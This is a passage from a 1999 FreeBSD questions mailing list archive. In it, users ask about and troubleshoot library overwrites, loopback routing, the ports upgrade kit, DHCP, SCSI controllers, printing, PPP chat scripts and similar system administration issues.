progress I was making.  To my horror, I saw it downloading an older
(incompatable) version of a gnome library.
     I immediately canceled, but the damage had been done because it
had also clandestinely overwritten my gnomelibs-1.0.3. with an 0.99
and (I was not to discover until later) my ORBit library.
     What followed was a hellish attempt to recompile gnomelibs-1.0.3
libraries (It failed, because I didn't know about ORBit).  I over-
reacted and deinstalled the entire thing, and two days later, I
recompiled.
     Yes, this was my own damn fault.  But, hey, I'm human. 
I just didn't think about that possibility.

     So, my point is: why not change sysinstall to automatically
detect when an older library is going to overwrite a newer one, and warn
the user (maybe ring a bell as well) before overwriting files?
     Has this been discussed?  Any misgivings about such an idea?

     -Rob


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From owner-freebsd-questions  Wed Mar 24 19:43:49 1999
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Subject: Re: arpresolve error
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The problem is that I have the right line in my /etc/rc.conf and I tripled
checked that it doesn' get reset anywhere else. the only thing I can think
of is my DHCP client might be doing something weird when it gets it's
address so I'm thinking of adding the ifconfig_lo0 again after calling the
dhcp client.

Any suggestions?
Thank You for your answer,
Octavian


At 00.21 23/03/99 -0700, you wrote:
>24.64.228.185      127.0.0.1          UGHS        0       10     fxp0

  Here's the problem. Packets sent to the IP address of your system must
use the 127.0.0.1 gateway (right), passing through fxp0 (wrong). You need
lo0 instead of fxp0, there.

>lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384

  Here's the confirmation: 127.0.0.1 isn't bound to lo0.

>Anyone know how I could fix this?

  Check your /etc/rc.conf[.local]: you need lo0 in the network interfaces
list AND a line like this:

ifconfig_lo0="inet 127.0.0.1"

  Be careful not to have the right line in rc.conf and something resetting
it in rc.conf.local, for example.




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From owner-freebsd-questions  Wed Mar 24 20:20:24 1999
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Message-Id: <199903250418.XAA14976@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: UFS and internal zip question
In-Reply-To: <OFA6B702FD.303BBC6F-ON8625673E.007FEE41@lotus.com> from Kevin Weiss/AUS/Lotus at "Mar 24, 99 11:29:40 pm"
To: Kevin_Weiss/AUS/Lotus@lotus.com (Kevin Weiss/AUS/Lotus)
Date: Wed, 24 Mar 1999 23:18:50 -0500 (EST)
Cc: freebsd-questions@FreeBSD.ORG
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Kevin Weiss/AUS/Lotus wrote,
> I am STILL having problems with my internal iomega zip drive (as well as my
> sound card and connecting to
> the internet, but one thing at a time)...anyway..., I get a "buggy" device
> upon bootup (i.e. the zip drive), 

What does "buggy" mean? The exact 'dmesg' output, please. What does or
does not work w.r.t. the drive?

> but basically I am wondering...does the
> disk in the drive HAVE to have UFS instead of the MSDOS file system upon
> bootup?

Not if MSDOS support is built into your kernel. Why do you need a disk
in the drive at all? Isn't a 'noauto' mount in /etc/fstab?

> PS - My HDD is primary master, my CD-ROM is secondary master, and my
> internal IDE ZIP is secondary slave.

Again, the dmesg output to make sure this is all being done nicely?
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Wed Mar 24 20:33:33 1999
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Subject: Re: MySQL mysql-3.22.20a FreeBSD 3.1
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On 24 Mar 99, at 20:45, Joseph Scott wrote:

> On Wed, 24 Mar 1999, Adam Ulmer wrote:
> 
> > I am having trouble building the latest mysql on the latest freebsd.  It
> > seems to be having troubles with the MIT-PThreads.  It is my understanding
> > that the threads in FreeBSD 3.1 (ie: native threads) are sufficient and
> > that the mit-pthreads do not need to be installed.

Based on the info in the Makefile for the 3.22.19b port and the 
MySQL docs, I'd avoid native threads still.

> 	I'm assuming that since you are running configure from the prompt
> that you are not building this from the ports collection?  I'd recommend
> building it from the ports collection.

3.22.20a isn't in the ports collection yet.

Dave


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Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
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From owner-freebsd-questions  Wed Mar 24 20:37:47 1999
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     Hi,

     Just wondering -- has anybody tried to keep up to date with the
ports tree under 3.1?  It seems that the ports collection has this
problem where /usr/ports/Mk/bsd.port.mk uses a command called `fetch -A'.
     But, `fetch -A' doesn't work on a default 3.1 system -- at least
not the RELEASE I downloaded :)
     So, is there some sort of configeration value I have to set, or should
I grab an updated fetch?  Editing that file and eliminating `-A' is kind
of a pain.

     -Rob


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From owner-freebsd-questions  Wed Mar 24 20:46: 1 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 15:45:29 +1100
From: Jim Mock <jim@corp.au.triax.com>
To: Rob <drifter@stratos.net>
Cc: questions@FreeBSD.ORG
Subject: Re: fetch -A(?)
Message-ID: <19990325154529.A76127@corp.au.triax.com>
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On Wed, 24 Mar 1999 at 23:40:14 +0000, Rob wrote:
> Hi,
> Just wondering -- has anybody tried to keep up to date with the
> ports tree under 3.1?  It seems that the ports collection has this
> problem where /usr/ports/Mk/bsd.port.mk uses a command called
> `fetch -A'.  But, `fetch -A' doesn't work on a default 3.1 system --
> at least not the RELEASE I downloaded :)
>
> So, is there some sort of configeration value I have to set, or
> should I grab an updated fetch?  Editing that file and eliminating
> `-A' is kind of a pain.
>

Go to http://www.freebsd.org/ports/ and install the 3.1 upgrade kit.
That'll fix it.

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Wed Mar 24 20:55:31 1999
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Subject: Re: fetch -A(?)
In-Reply-To: Your message of "Wed, 24 Mar 1999 23:40:14 +0000"
	<19990324234014.A66989@stratos.net>
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From: Rob <drifter@stratos.net>
Subject: fetch -A(?)
Date: Wed, 24 Mar 1999 23:40:14 +0000

>      Hi,
> 
>      Just wondering -- has anybody tried to keep up to date with the
> ports tree under 3.1?  It seems that the ports collection has this
> problem where /usr/ports/Mk/bsd.port.mk uses a command called `fetch -A'.
>      But, `fetch -A' doesn't work on a default 3.1 system -- at least
> not the RELEASE I downloaded :)
>      So, is there some sort of configeration value I have to set, or should
> I grab an updated fetch?  Editing that file and eliminating `-A' is kind
> of a pain.

In this case you could probably get away with updating just 'fetch' as
a  hackaround.  Sooner or later, something else will probably break.

If you want to follow the ports collection then you should probably
follow -STABLE too.

Cheers,

Jerry Hicks
wghicks@bellsouth.net

> 
>      -Rob
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Wed Mar 24 20:56:45 1999
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Hi,
    I am wondering if there is any program or anyway to setup
FreeBSD as a DHCP server?


Thank you in advance

Frankie



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From owner-freebsd-questions  Wed Mar 24 21: 0: 0 1999
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          Thu, 25 Mar 1999 17:00:39 +1200
From: "Dan Langille" <junkmale@xtra.co.nz>
Organization: The FreeBSD Diary
To: "James A. Mutter" <jm7996@devrycols.edu>, dan@dpcsys.com,
	gregm@netidea.com
Date: Thu, 25 Mar 1999 16:58:11 +1200
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On 24 Mar 99, at 16:30, James A. Mutter wrote:

> There is a much better primer/tutorial/example at:
> 
> 	http://www.dvl-software.com/freebsd/localnames.htm
> 
> The URL doesn't reflect it, but that's the FreeBSD Diary 


Or you can also get it at 

	http://www.freebsddiary.com/freebsd/localnames.htm

I can't afford two websites so I run one and point many domains at it.

>- an excellent
> site for quick reference docs.

Thanks.

--
Dan Langille
The FreeBSD Diary
http://www.FreeBSDDiary.com/freebsd


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From owner-freebsd-questions  Wed Mar 24 21: 4:32 1999
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Date: Wed, 24 Mar 1999 21:05:53 -0800
From: Shawn Ramsey <shawn@cpl.net>
To: notme <notme@lvdi.net>
Cc: questions@freebsd.org
Subject: Re: DHCP?
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> Hi,
>     I am wondering if there is any program or anyway to setup
> FreeBSD as a DHCP server?

Yes, the Wide-DHCP and ISC DHCP server, I believe both are in the ports
collection. We use the ISC server and it works great.



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From owner-freebsd-questions  Wed Mar 24 21: 4:35 1999
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Message-ID: <36F9C3CD.DCA52589@eos.ncsu.edu>
Date: Thu, 25 Mar 1999 00:04:14 -0500
From: Tsung-li Wu <twu2@eos.ncsu.edu>
Organization: North Carolina State University
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Hi,

I was wondering that is TCP-Reno the version of TCP implemented in
FreeBSD?
To be more specific, are the mechanisms of slow-start,
fast-retransmission, and
fast-recovery implemented in FreeBSD?

I appreciate your help in advance.

Tsungli Wu





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From owner-freebsd-questions  Wed Mar 24 21: 7:38 1999
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From: Gregory Lewis <glewis@dartagnan.maths.adelaide.edu.au>
Message-Id: <9903250507.AA07966@dartagnan.maths.adelaide.edu.au>
Subject: Adaptec 3950 problems
To: freebsd-questions@freebsd.org
Date: Thu, 25 Mar 1999 15:37:12 +1030 (CST)
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Hi,

I seem to be having some problems installing FreeBSD on our new server and
am hoping that someone can point me in the right direction for a fix.  The
short version of the problem is that FreeBSD 3.1 isn't detecting the hard 
disks attached to the Adaptec 3950U2B SCSI card.  Looking in RELNOTES.TXT
I get the impression that this card is supported as the following appears
in the "Disk Controllers" section of "Supported Configurations":

Adaptec 274X/284X/2920C/294x/2950/3940/3950 (Narrow/Wide/Twin) series
EISA/VLB/PCI SCSI controllers.

I've searched the mailing list archives and came across a note on the
2940UW that mentioned that the SCAM option needed to be turned on in
SCSISelect for things to work with that card, however trying the same trick
with the 3950 is having no effect.  I'm hoping its just a matter of
altering some other option(s) to get things to work.

The machine itself is a dual processor P-II box.  There are three devices
attached to the 3950 card, a hard disk at ID 0, a DAT tape drive at ID 1
and an (external) hard disk at ID 2.  All are on Channel A.  I plan to
rearrange things a bit to get all the Ultra-2 devices on Channel A and
everything else on Channel B (we have another older hard disk to attach 
externally yet).

In the belief that detail is good I wrote down some of the boot sequence
which appeared pertinent.  Any typos are my fault, but I'm pretty sure this
is correct :).

After power up or reboot the following all happens before booting:

---------------------------------------------------------------------------
Adaptec AIC-7895 SCSI BIOS v1.34
(c) 1998 Adaptec, Inc. All Rights Reserved.

<<<Press <Ctrl><A> for SCSISelect(TM) Utility!>>>

Ch A, SCSI ID: 1 SONY		SDT-9000

SCSI BIOS Not installed!

Adaptec AHA-3950U2B SCSI BIOS v2.11.0

<<<Press <Ctrl><A> for SCSISelect(TM) Utility!>>>

Ch A, SCSI ID: 0 IBM		DDRS-39130D	ULTRA2-SE    - Hard disk 0
Ch A, SCSI ID: 2 SEAGATE	ST19171W	ULTRA2-SE    - Hard disk 1

SCSI BIOS Installed Successfully!
---------------------------------------------------------------------------

Interestingly, if I go into the SCSISelect Utility before the two disks
are "detected" the card is identified by SCSISelect as an AIC 7895 and the
two hard drives aren't found when the bus is scanned as I go into the
SCSI disk utilities section.  If, however, I wait for the detection of the
two disks and then go into SCSISelect the card is identified as a 3950 and
the disk utilities can now see the two disks.  This may have some relevance
to my later problems!

Booting from a FreeBSD 3.1 boot floppy set or cdrom produces the following 
information while scanning the PCI bus:

---------------------------------------------------------------------------
ahc0: <Adaptec aic7895 Ultra SCSI adapter> rev 0x04 int a irq 11 on pci 0.14.0
ahc0: aic7895 Wide Channel A, SCSI Id=7, 16/255 SCBs
ahc1: <Adaptec aic7895 Ultra SCSI adapter> rev 0x04 int b irq 11 on pci 0.14.1
ahc1: aic7895 Wide Channel A, SCSI Id=7, 16/255 SCBs
---------------------------------------------------------------------------

However, later in the boot process no hard disks are found (I see nothing
detected after the fateful line:

Waiting 15 seconds for SCSI devices to settle

and when going into the partition editor I get an error message that no
hard disks have been found).  Its interesting that its detected as an
AIC 7895 and the disks aren't found given my SCSISelect experience earlier.

I tried a Redhat Linux 5.2 cdrom and it found the adapter but seems to be
treating it as an earlier card:

---------------------------------------------------------------------------
Scanning Adaptec 2740, 2840, 2940 SCSI bus...
---------------------------------------------------------------------------

However, it does find both of the hard disks (not sure about the DAT drive).

Any pointers people have would be very much appreciated.  I'm certainly not
adverse to compiling up some sort of specialised boot floppy and kernel if
that is necessary (as the alternative is to not run my favourite OS).
Maybe I need to do this to force it to detect the card as a 3950 rather
than the AIC 7895?

-- 
Greg Lewis 				glewis@trc.adelaide.edu.au
Computing Officer			+61 8 8303 3237
Teletraffic Research Centre


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From owner-freebsd-questions  Wed Mar 24 21:13: 8 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Ulairi" <ulairi@jps.net>
To: "Questions" <freebsd-questions@freebsd.org>
Subject: FreeBSD on an Alpha box
Date: Wed, 24 Mar 1999 21:11:59 -0800
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More then likely, this has been posted already, so forgive the
repetitiveness of it, but where would I find instructions on installing
FreeBSD 3.1-Stable on an Alpha box?



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From owner-freebsd-questions  Wed Mar 24 21:47: 2 1999
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Subject: 1520 scsi support in 3.1?
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Date: Wed, 24 Mar 1999 21:46:42 -0800
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ok so I tried recompiling a kernel on a new machine with a really 
old adaptec 1520 isa scsi card.  I am having some problems in the 
kernel make depend such as:

cc: ../../dev/aic6x60/aic.c: No such file or directory
../../i386/isa/aic_isa.c:125: scsi/scsiconf.h: No such file or directory
../../i386/isa/aic_isa.c:126: scsi/scsi_debug.h: No such file or directory
mkdep: compile failed


has anyone gotten this to compile into the kernel?

I am running a newly installed 3.1-stable from the march cdrom set
from walnut creek.

thanks

steve


Steve Heistand
heistand@heistand.org




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From owner-freebsd-questions  Wed Mar 24 21:51:40 1999
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Date: Thu, 25 Mar 1999 00:52:00 -0500
From: Ken R <nethdnd@mis.net>
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Help!

I'm trying to make buildworld from freeBSD 3.0-Release.  I've cvsup'd
using the RELENG_3 tag. and I get:

cc -fpic -DPIC -O -pipe -I/usr/obj/elf/usr/src/gnu/usr.bin/perl/libperl
-I/usr/src/gnu/usr.bin/perl/libperl/../../../../contrib/perl5 -I/usr
/obj/elf/usr/src/tmp/usr/include -c
/usr/src/gnu/usr.bin/perl/libperl/../../../../contrib/perl5/pp_ctl.c -o
pp_ctl.so
pp_ctl.so: could not read symbols: Memory exhausted
*** Error code 1

Stop.


after about 45 minutes.

my system has 80mb of RAM and 169mb of swap, runs on a K6-2/350 if it
matters.

TIA

Ken R



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From owner-freebsd-questions  Wed Mar 24 22: 7:37 1999
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Date: Wed, 24 Mar 1999 23:07:23 -0700 (MST)
From: Octavian <octoman@globotech.dyndns.org>
To: malartre@videotron.ca
Cc: freebsd-questions@freebsd.org
Subject: Re: Going crazy with DHCP: FreeBSD won't install
Message-ID: <Pine.BSF.4.05.9903242138001.626-100000@hummer.globotech.dyndns.org>
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Just because you have a certain IP in Win 95 doesn't mean that your
machine will work with the same IP in FreeBSD. I noticed that while Linux,
winNT and win95 all get the same IP thru DHCP on a cable modem, as soon as
I boot in FreeBSD I have to reset the cable modem and it gets a totaly
different IP on a different subnet, otherwise it won't work. I have no
idea why this is but this is how I got it working. So therefore u probably
won't be able to get DHCP working right off the bat. Just make sure u get
the CD and install the wide-DHCP port.

Regards,
Octavian 



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From owner-freebsd-questions  Wed Mar 24 22:32:53 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from peloton.physics.montana.edu (peloton.physics.montana.edu [153.90.192.177])
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Date: Wed, 24 Mar 1999 23:31:52 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Rob <drifter@stratos.net>
Cc: questions@FreeBSD.ORG
Subject: Re: fetch -A(?)
In-Reply-To: <19990324234014.A66989@stratos.net>
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Hi,

-fetch -A problem deleted-

If you're going to track ports, you MUST grab the upgrade kits.  Often the
only thing that changes are the bsd.port.*mk targets but sometimes, as is
the case here, something in userland gets changed.  Go to

	http://www.freebsd.org/ports/

and grab the right upgrade for your system.  Then do pkg_add
port_upgrade*.tgz.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Wed Mar 24 22:38:22 1999
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Subject: ADV: 4000 Years of Design at Your Fingertips
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From owner-freebsd-questions  Wed Mar 24 22:50:38 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from linuxbear.HIP.Berkeley.EDU (linuxbear.HIP.Berkeley.EDU [136.152.130.38])
	by hub.freebsd.org (Postfix) with ESMTP id E71B514C1E
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	(envelope-from bear)
Date: Wed, 24 Mar 1999 22:47:28 -0800
From: The Bear <bear@linuxbear.HIP.Berkeley.EDU>
To: freebsd-questions@freebsd.org
Subject: nlpt printing problems
Message-ID: <19990324224728.A18120@linuxbear.HIP.Berkeley.EDU>
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I am trying to print to a HP Deskjet 672, and about 1/3 to 1/12 of
the way into printing a document, it begins to print out weird
characters, and ejecting paper's. Printing worked fine with
FreeBSD 2.2.x, and after upgrading to FreeBSD 3.1, printing is
terrible.

to print a file, I would use lpr -Pblah f1040sd.ps, which 
passes the file through ghostscript, and then back to
lpr where it is then printed out through /dev/lpt0. 

I know FreeBSD 3.1 uses nlpt, but after doing a MAKEDEV nlpt0, it
says "nlpt0 - no such device name". I am assuming that /dev/lpt0 has
to actually be using the new driver.

It detects everything fine,

	ppc0 at 0x3bc irq 7 on isa
	ppc0: Generic chipset (ECP/PS2/NIBBLE) in COMPATIBLE mode
	ppc0: FIFO with 16/16/16 bytes threshold
	nlpt0: <generic printer> on ppbus 0
	nlpt0: Interrupt-driven port

The only other diffrence is that I am using ghostscript 5.5,
but that can't make a diffrence can it?



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From owner-freebsd-questions  Wed Mar 24 23:17: 2 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from amiu@engin.umich.edu)
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From: "Afonso Miu" <amiu@engin.umich.edu>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Vedio Conference
Date: Thu, 25 Mar 1999 02:09:26 -0500
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This is a multi-part message in MIME format.

------=_NextPart_000_0072_01BE7664.824DDA60
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I want to do video conferencing. The setup will be STB DESKTOP TV as =
video input. Can you give me a suggest for video camera? I want to use =
Yamaha sound card that has OPL-SA3, but I don't know which Yamaha sound =
uses this chip set. Can you help me on that?=20

Thank you


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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I want to do video conferencing. The =
setup will be=20
STB DESKTOP TV as video input. Can you give me a suggest for video =
camera? I=20
want to use Yamaha sound card that has OPL-SA3, but I don't know which =
Yamaha=20
sound uses this chip set. Can you help me on that? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you</FONT></DIV>
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From owner-freebsd-questions  Thu Mar 25  0:16:35 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 00:02:55 -0800
From: Thomas Bentz <thefett@negativemass.com>
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Can someone tell me the procedures of changing the IP address on a
machine??  Thanks in advance



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From owner-freebsd-questions  Thu Mar 25  0:24:50 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from zeus.dnt.md (zeus.dnt.md [195.138.124.37])
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Date: Thu, 25 Mar 1999 10:23:18 +0000 (GMT)
From: Veaceslav Revutchi <sl@zeus.dnt.md>
To: freebsd-questions@freebsd.org
Subject: Aironet's ARLAN 655
Message-ID: <Pine.BSF.4.05.9903251018360.34200-100000@zeus.dnt.md>
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Hello

Has anyone been able to succesfully use in 3.1R the driver written
by Ivan Sharov for the Aironet's ARLAN 655 isa cards?

Please also let me know if anyone knows of any other drivers
for this card.

thanks,
veaceslav.



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From owner-freebsd-questions  Thu Mar 25  0:39:33 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Chris Silva" <ras@interaccess.com>
To: "Freebsd-Questions" <freebsd-questions@FreeBSD.ORG>
Subject: WDM install
Date: Thu, 25 Mar 1999 02:39:50 -0600
Message-ID: <000401be769b$0bc7bb40$0a00000a@wildrock>
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Does anyone have a clue why wdm can't install under 3.1-R?
here are the last few lines of the make install of wdm:


checking for WINGs... using standard versions
checking for RCreateImage in -lwraster... no
checking for RCreateImage in -lwraster... (cached) no
configure: error: WINGs and wraster libs required and not found
*** Error code 1

Stop.
*** Error code 1
etc.


Now please don't tell me that I need to install WindowMaker.  I did
2 different ways.

1 - as a port on its own
2 - removed it, and let WDM install it

And I STILL get this friggen error.
BTW - I do have the upgrade kit installed. 
_____________________________________________________________________

RSA Key Fingerprint = 6D0B 5536 7825 3D09 9093 384A 9694 FDB6
RSA Key Fingerprint = 4390 44E5 E316 F2AA A11E 5755 F3F9 D69B
DH/DSS Fingerprint = 089B 0B5C 75C7 A7B4 B050 DD14 2D65 5DD6 E87D 239A

PGP Mail encouraged / preferred - keys available on common keyservers
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From owner-freebsd-questions  Thu Mar 25  1: 7:35 1999
Delivered-To: freebsd-questions@freebsd.org
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Message-Id: <199903252005.3931446.6@names.phile.com.au>
From: "loren" <lore@phile.com.au>
To: "freebsd-questions@Freebsd.org" <freebsd-questions@Freebsd.org>
Date: Thu, 25 Mar 1999 20:07:06 +1000 (EST)
Reply-To: "loren" <lore@phile.com.au>
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Hi all.

Hope I'm not out of line sending this question to this mailing list - 
and
I *really* hope I'm not duplicating a question that has been fielded
here before.

For the last few weeks, I've been getting duplicate emails of 
probably
at least 50% of the mail sent via FreeBSD-questions. Am I the only
person with this problem? I ask because I know this is a 
"high-volume"
list, but it is a little annoying that the number of duplicates worsens
the problem.

This may only be a problem for me (maybe my mail server is
misconfigured or something) or it may be only happening to Oz
recipients that receive it from the "scratchy-physics.usyd.edu.au"
mail server, but it's still a problem.

If I have asked this in the wrong forum, please tell me to whom I 
should
direct the question to get it answered (because I really don't think 
it's my
mail server).

Cheers




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From owner-freebsd-questions  Thu Mar 25  1: 9: 8 1999
Delivered-To: freebsd-questions@freebsd.org
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Subject: using fetchmail
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hey there:

 i have just set up my machine to download my mail from my isp using
fetchmail. i have two questions:

where does fetchmail put the mail
and
do i need to periodically delete mail that builds up in this place?

i'm pretty sure that it puts the messages in /var/mail
but will this fill up eventually?

thanks
-aaron





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From owner-freebsd-questions  Thu Mar 25  1:10:16 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from server.parliament.ge (unknown [208.239.41.10])
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	(envelope-from dato@parliament.ge)
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Date: Thu, 25 Mar 1999 13:07:29 +0300
To: freebsd-questions@FreeBSD.ORG
From: David Adamia <dato@parliament.ge>
Subject: Transparent proxy
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Dear Sirs

We have installed squid 2.1 under Freebsd 3.1. There are two physical
network interface in this machine, tx0 and tx1: one for LAN , address:
168.0.0.1, and another for Internet, address: 208.239.41.6. 
We have rebuilded kernel with
options IPFIREWALL
options IPFIREWALL_FORWARDING

There are rules in the rc.conf file:
gateway_enable="YES"
firewall_enable="YES"
firewall_type="OPEN"
but, we can not establish connection from LAN to Internet
Please, can you help us to resolve this problem?

Thank you very much in advance

With regards
David Adamia
Parliament of Georgia



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From owner-freebsd-questions  Thu Mar 25  1:11:49 1999
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To: loren <lore@phile.com.au>
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loren wrote:

> If I have asked this in the wrong forum, please tell me to whom I
> should
> direct the question to get it answered (because I really don't think
> it's my
> mail server).

Not exactly :) - Others have seen this as well, and if you look through the
archives it has been discussed here before (recently), and I beleive it is
being worked on... :)

-Kp


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From owner-freebsd-questions  Thu Mar 25  1:17:11 1999
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Date: Thu, 25 Mar 1999 14:48:57 +0530 (IST)
From: Prasad Chemburkar <prasad@usa.ltindia.com>
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Subject: Audio commands
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Hi!

Does anyone knows what are audio commands to play *.au files on freeBSD.
i have installed creative sound blaster card but i don't know how to play 
'au' files.






thanks in advance


prasad




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From owner-freebsd-questions  Thu Mar 25  1:21:25 1999
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From: Jim Mock <jim@corp.au.triax.com>
To: Prasad Chemburkar <prasad@usa.ltindia.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Audio commands
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On Thu, 25 Mar 1999 at 14:48:57 +0530, Prasad Chemburkar wrote:
> Hi!
> 
> Does anyone knows what are audio commands to play *.au files on
> freeBSD.  i have installed creative sound blaster card but i don't
> know how to play 'au' files.
>

Try 'cat whatever.au > /dev/audio'.

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Thu Mar 25  1:23:58 1999
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From: Stefano Riva <sriva@alice.it>
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At 20.43 24/03/99 -0700, you wrote:
>The problem is that I have the right line in my /etc/rc.conf and I tripled
>checked that it doesn' get reset anywhere else. the only thing I can think
>of is my DHCP client might be doing something weird when it gets it's
>address so I'm thinking of adding the ifconfig_lo0 again after calling the
>dhcp client.

  Sorry, I'm not experienced about DHCP. I guess your proposal could be
correct. Try to issue an "ifconfig lo0 inet 127.0.0.1" from the shell, then
check if 127.0.0.1 has been bound to lo0. If so, put the ifconfig command
in your rc.local file. Anyway, if it works it's just a workaround, nothing
more.

---

  Stefano Riva
  Software Engineer - System Administrator
  Informazioni Editoriali I.E. Srl
  Phone +39-027528400, Fax +39-027528451
  Email sriva@alice.it


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From owner-freebsd-questions  Thu Mar 25  1:30:32 1999
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From: Jim Pazarena <paz@ccstores.com>
To: freebsd-questions@freebsd.org
Subject: SCSI support for AIC-7895
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I loaded 3.0 on a new machine which has the AIC-7895 SCSI dual channel UW
on board.

Loaded and seems to work fine

boot message:
ns /kernel: da0: <SEAGATE ST34573W 6244> fixed Direct Access SCSI2 device
da0: 40.0MB/s transfers (20.0MHz, offset 8, 16bit), Tagged Queueing Enabled

except:
I get the following messages on the console during heavy disk activity
(like during a: find / -name xxx -print)

ns /kernel: (da0:ahc1:0;0;0):tagged openings now 60
ns /kernel: (da0:ahc1:0;0;0):tagged openings now 59
ns /kernel: (da0:ahc1:0;0;0):tagged openings now 59
ns /kernel: (da0:ahc1:0;0;0):tagged openings now 58
ns /kernel: (da0:ahc1:0;0;0):tagged openings now 58


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From owner-freebsd-questions  Thu Mar 25  1:41:32 1999
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Date: Thu, 25 Mar 1999 09:40:30 +0000
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Jim Pazarena wrote:

> except:
> I get the following messages on the console during heavy disk activity
> (like during a: find / -name xxx -print)
> 
> ns /kernel: (da0:ahc1:0;0;0):tagged openings now 60
> ns /kernel: (da0:ahc1:0;0;0):tagged openings now 59
> ns /kernel: (da0:ahc1:0;0;0):tagged openings now 59
> ns /kernel: (da0:ahc1:0;0;0):tagged openings now 58
> ns /kernel: (da0:ahc1:0;0;0):tagged openings now 58

These are normal/informative - it's telling you the maximum number of
tagged/queued commands your drive could handle at once... CAM will
automatically 'tune' this figure to get the best the drive can support...

AFAIK these messages are 'off' by default in 3.1 unless you boot -verbose etc.

-Kp


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From owner-freebsd-questions  Thu Mar 25  1:46:10 1999
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From: "Bond, Jeffery" <Jeff.Bond@nectech.co.uk>
To: "'MALCOLM BOFF'" <Malcolm_Boff@compuserve.com>
Cc: Brian Somers <brian@awfulhak.org>,
	"'questions@freebsd.org'" <questions@freebsd.org>
Subject: RE: PPP AND Compuserve AND UK
Date: Thu, 25 Mar 1999 09:42:28 -0000
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Hi Malcolm,

The chat script is comprised of 'expect' 'send' pairs rather that 'send'
'expect' pairs as you suggest. To wait for the 'PPP' string, just use a line
like this as the last line of your chat script.

PPP "" (PPP followed by two quotes in case the email buggered it up).

I use a similar line to initialise my modem:

"" ATZ
OK ATDTxxxxx 

ie. expect nothing, then send ATZ to reset it, then expect OK (from the ATZ
command), then dial etc...

Hope this helps,

Jeff


> -----Original Message-----
> From:	MALCOLM BOFF [SMTP:Malcolm_Boff@compuserve.com]
> Sent:	Wednesday, March 24, 1999 9:27 PM
> To:	jeff
> Cc:	Brian Somers
> Subject:	RE: PPP AND Compuserve AND UK
> 
> 
> > Hi Malcolm,
> 
> > I did this a while ago. I can't send you the actual scripts because I
> don't
> > have them any more. <PLUG>Compuserve was too slow and unreliable so I
> > changed to Freeserve</PLUG>. I used 'pppd' rather than using 'ppp' with
> tun0
> > interface. The login sequence for PPP on compuserve is a bit weird, so
> here
> > goes:
> 
> > 1) After the modem connects, you get a 'hostname: ' prompt, I think you
> need
> > to send 'CIS' for the reply. 
> 
> Yup I get this !
> 
> > 2) Next comes the userid prompt, you MUST reply with something like
> > 'userid/GO:PPPCONNECT', 
> 
> Yup (with my compuserve account number replacin 'userid')
> 
> 3) Next, the usual password prompt.
> 
> Yup followed by sending my password.
> 
> > 4) Then you just wait for the string 'PPP' and your away! (ie. exit the
> chat
> > script and let pppd do the rest). This is all from memory so it may be
> > inaccurate.
> 
> This is interesting ! How do you just 
> 'wait for the string' ?? We are still in a chat which
> is a send/expect spec. I am not doing anything after
> sending my password ie the chat has finished, so the
> debug shows that we go into LCP and this is probably
> where things are going wrong.
> 
> > In the login part of the chat script, something like this may do the
> trick. 
> 
> > ame: CIS
> > ID: userid/GO:PPPCONNECT
> > word: yourpassword
> 
> > For the rest of the setup info, have a look at my page at
> > http://www.tech-info.freeserve.co.uk/linux_unix_freesbsd.htm
> 
> > Obviously, this page is intended to help you connect to Freeserve, but
> all
> > you'll need to change for compuserve is the 'chat' script, and the DNS
> ip's.
> 
> > Let me know how you get on.
> 
> > Jeff
> 
> 
> >>I would appreciate hearing from anyone in the UK who has =
> >>
> >>successfully managed to connect into Compuserve and is
> >>prepared to help me by providing a copy of their setup
> >>(ppp.conf) etc
> >>
> >>I don't want to exclude others connecting via Compuserve but
> >>wish to isolate differences between the UK and US so please
> >>respond if you think you might be able to help.
> >>
> >>Malcolm G. Boff
> 
> Thanks for your response, I haven't had the time to visit
> the web site yet.
> 
> Malcolm G. Boff


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From owner-freebsd-questions  Thu Mar 25  1:51: 3 1999
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Date: Thu, 25 Mar 1999 11:48:31 +0200
From: Ruslan Ermilov <ru@ucb.crimea.ua>
To: Karl Pielorz <kpielorz@tdx.co.uk>
Cc: Jim Pazarena <paz@ccstores.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: SCSI support for AIC-7895
Message-ID: <19990325114831.A37146@relay.ucb.crimea.ua>
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	Jim Pazarena <paz@ccstores.com>, freebsd-questions@FreeBSD.ORG
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On Thu, Mar 25, 1999 at 09:40:30AM +0000, Karl Pielorz wrote:
> Jim Pazarena wrote:
> 
> > except:
> > I get the following messages on the console during heavy disk activity
> > (like during a: find / -name xxx -print)
> > 
